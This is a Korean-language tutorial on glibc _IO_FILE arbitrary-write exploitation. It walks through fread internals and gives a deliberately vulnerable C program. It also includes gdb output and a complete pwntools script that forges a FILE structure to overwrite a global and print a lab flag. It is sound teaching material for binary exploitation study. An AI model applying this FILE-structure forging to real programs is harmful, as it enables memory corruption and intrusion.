_IO_FILE Arbitrary Write
_IO_FILE Arbitrary Write
file_aw.c
는 testfile 파일의 내용을 출력하는 예제이다.
fread
함수는 내부적으로 _IO_fread
를 호출한다.
file_aw1.c
1 2 3 4 5 6 7 8 9 10 11 12
// gcc -o file_aw1 file_aw1.c #include <stdio.h> int main() { char buf[256]; FILE *fp; fp = fopen("testfile","r"); fread(buf, 1, 256, fp); printf("%s\n",buf); return 0; }
_IO_fread()
이후에 _IO_file_xsgetn
함수가 호출되고 _IO_file_xsgetn
에서 _IO_new_file_underflow
함수를 호출한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
_IO_file_xsgetn()
1
2
3
4
5
6
7
8
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
if (__underflow (fp) == EOF)
break;
...
_IO_new_file_underflow
_IO_new_file_underflow
함수는 다음과 같은 역할을 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int _IO_new_file_underflow (FILE *fp)
{
ssize_t count;
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
}
만약 공격자가 line 5의 조건을 만족시킨다면 _IO_SYSREAD
함수를 호출할 수 있다. _IO_SYSREAD
함수에 전달되는 파일 디스크럽터를 표준 입력 파일 디스크럽터인 0
으로 조작한다면, 임의의 주소에 공격자의 입력을 저장할 수 있다.
_IO_FILE Arbitrary Write Case
file_aw2.c
는 이 공격 기법의 이해를 돕기 위한 예제이다.
file_aw2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
// gcc -o file_aw2 file_aw2.c #include <stdio.h> int main() { char overwrite_me[256]; char buf[256]; FILE *fp; fp = fopen("testfile","r"); fp->_IO_buf_base = overwrite_me; fp->_IO_buf_end = overwrite_me + 256; fp->_fileno = 0; fread(buf, 1, 5, fp); printf("overflow_me: %s\n",overwrite_me); return 0; }
file_a2w
의 실행결과는 다음과 같다.
1
2
3
4
╭─root@8e7cea269c13 ~
╰─➤ ./file_aw2
1234
overflow_me: 1234
file_aw3.c
는 전역 변수 flag_buf
에 파일을 읽은 후 testfile을 열고 반환된 파일 포인터 fp
의 주소를 출력한다. 그리고 임의의 주소에 200바이트를 입력받고 fread
함수가 호출된 후 overwrite_me
의 값을 검사한다.
file_aw3.c
에서의 목표는 0으로 초기화된 overwrite_me
전역 변수를 0xDEADBEEF
값으로 덮어써 read_flag
호출하여 플래그를 출력하는 것이다.
익스플로잇 시나리오는 다음과 같다.
- 주어진 파일 포인터
fp
의 주소를 가져온다. - 구한 파일 포인터의 주소를
addr
변수에 입력하므로써 파일 구조체를 조작한다. overwrite_me
전역 변수를 덮어써야 하기 때문에overwrite_me
의 주소를 구한 후 파일 구조체의_IO_base_buf
와_IO_base_end
를 각각overwrite_me
와overwrite_me + 4
의 주소로 조작한다.- 포인터 조작이 끝났으면 공격자의 입력을 받기 위해 파일 디스크럽터를 의미하는
_fileno
를 표준 입력의 파일 디스크럽터인0
으로 조작한다.- file_aw3.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
// gcc -o file_aw3 file_aw3.c #include <string.h> #include <stdio.h> #include <unistd.h> char flag_buf[128]; int overwrite_me = 0; int read_flag() { FILE *fp; fp = fopen("flag", "r"); fread(flag_buf, 1, 256, fp); printf("FLAG: %s\n", flag_buf); fclose(fp); } int main() { FILE *fp; long long addr = 0; long long value = 0; char buf[10]; fp = fopen("testfile", "r"); printf("FILE PTR: %p\n", fp); fflush(stdout); printf("Addr: "); fflush(stdout); scanf("%ld", &addr); printf("Value: "); fflush(stdout); read(0, addr, 200); fread(buf, 1, strlen(buf)-1, fp); if( overwrite_me == 0xDEADBEEF ) { read_flag(); } fclose(fp); return 0; }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ i var
All defined variables:
Non-debugging symbols:
0x00000000004009f0 _IO_stdin_used
0x0000000000400a30 __GNU_EH_FRAME_HDR
0x0000000000400b80 __FRAME_END__
0x0000000000600e10 __frame_dummy_init_array_entry
0x0000000000600e10 __init_array_start
0x0000000000600e18 __do_global_dtors_aux_fini_array_entry
0x0000000000600e18 __init_array_end
0x0000000000600e20 __JCR_END__
0x0000000000600e20 __JCR_LIST__
0x0000000000600e28 _DYNAMIC
0x0000000000601000 _GLOBAL_OFFSET_TABLE_
0x0000000000601068 __data_start
0x0000000000601068 data_start
0x0000000000601070 __dso_handle
0x0000000000601078 __TMC_END__
0x0000000000601078 __bss_start
0x0000000000601078 _edata
0x0000000000601080 stdout
0x0000000000601080 stdout@@GLIBC_2.2.5
0x0000000000601088 completed
0x000000000060108c overwrite_me
공격을 통해 입력할 변수인 overwrite_me
의 주소를 알아냈다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
[----------------------------------registers-----------------------------------]
RAX: 0x602010 --> 0xfbad2488
RBX: 0x0
RCX: 0x7ffff7b04140 (<__open_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x0
RSI: 0x7ffff7b9ac9f --> 0x7261003d7363632c (',ccs=')
RDI: 0x602010 --> 0xfbad2488
RBP: 0x7fffffffe620 --> 0x400970 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe5e0 --> 0x1
RIP: 0x400875 (<main+54>: mov QWORD PTR [rbp-0x28],rax)
R8 : 0x0
R9 : 0x1
R10: 0x0
R11: 0x246
R12: 0x4006f0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe700 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400866 <main+39>: mov esi,0x4009f4
0x40086b <main+44>: mov edi,0x400a05
0x400870 <main+49>: call 0x4006c0 <fopen@plt>
=> 0x400875 <main+54>: mov QWORD PTR [rbp-0x28],rax
0x400879 <main+58>: mov rax,QWORD PTR [rbp-0x28]
0x40087d <main+62>: mov rsi,rax
0x400880 <main+65>: mov edi,0x400a0e
0x400885 <main+70>: mov eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe5e0 --> 0x1
0008| 0x7fffffffe5e8 --> 0x0
0016| 0x7fffffffe5f0 --> 0x0
0024| 0x7fffffffe5f8 --> 0x0
0032| 0x7fffffffe600 --> 0x400970 (<__libc_csu_init>: push r15)
0040| 0x7fffffffe608 --> 0x4006f0 (<_start>: xor ebp,ebp)
0048| 0x7fffffffe610 --> 0x7fffffffe700 --> 0x1
0056| 0x7fffffffe618 --> 0x4a0a753aafa78600
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000400875 in main ()
gdb-peda$ x/gx $rax
0x602010: 0x00000000fbad2488
_IO_SYSREAD
함수가 호출되는 조건을 맞춰주기 위해 testfile에 대한 파일 포인터의 _flags
값을 알아냈다. _flags
멤버 변수는 0xfbad2488
값을 가지고 있다.
다음은 file_aw3
에 대한 공격 코드인 file_aw3.py
에 대한 설명이다.
file_aw3.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
#file_aw3.py from pwn import * p = process("./file_aw3") print(p.recvuntil("PTR: ")) fp = int(p.recvuntil(b"\n").strip(b"\n"),16) print(hex(fp)) print(p.sendlineafter("Addr: ", str(fp))) payload = p64(0x00000000fbad2488) payload += p64(0) # _IO_read_ptr payload += p64(0) # _IO_read_end payload += p64(0) # _IO_read_base payload += p64(0) # _IO_write_base payload += p64(0) # _IO_write_ptr payload += p64(0) # _IO_write_end payload += p64(0x60108c) # _IO_buf_base payload += p64(0x60108c+4) # _IO_buf_end payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(0) # stdin pause() print(p.sendlineafter("Value: ", payload)) p.sendline(p32(0xDEADBEEF)) p.interactive()
line 12에서는 _flags
를 기존의 값으로 입력했다.
그리고 line 19 ~ line 20 에서는 _IO_buf_base
를 입력할 변수의 시작 주소인 overwrite_me
주소로 조작하고, _IO_buf_end
를 overwrite_me + 4
의 주소로 조작했다. 이로써 라이브러리 내부에서 _IO_SYSREAD
함수가 호출되면 overwrite_me
주소로 부터 4 바이트 만큼의 값을 입력할 수 있다.
또한 line 29에서 표준 입력으로 입력하기 위해 _fileno
멤버 변수를 0
으로 조작했다.
다음은 file_aw3.py
에 대한 실행 결과이다.
1
2
3
4
5
6
7
8
9
10
╭─root@8e7cea269c13 ~
╰─➤ python3 file_aw3.py
[+] Starting local process './file_aw3': pid 1221
b'FILE PTR: '
0x249c010
b'Addr: '
[*] Paused (press any to continue)
b'Value: '
[*] Switching to interactive mode
FLAG: FLAG{THIS_IS_FLAG!!!!!!!!!}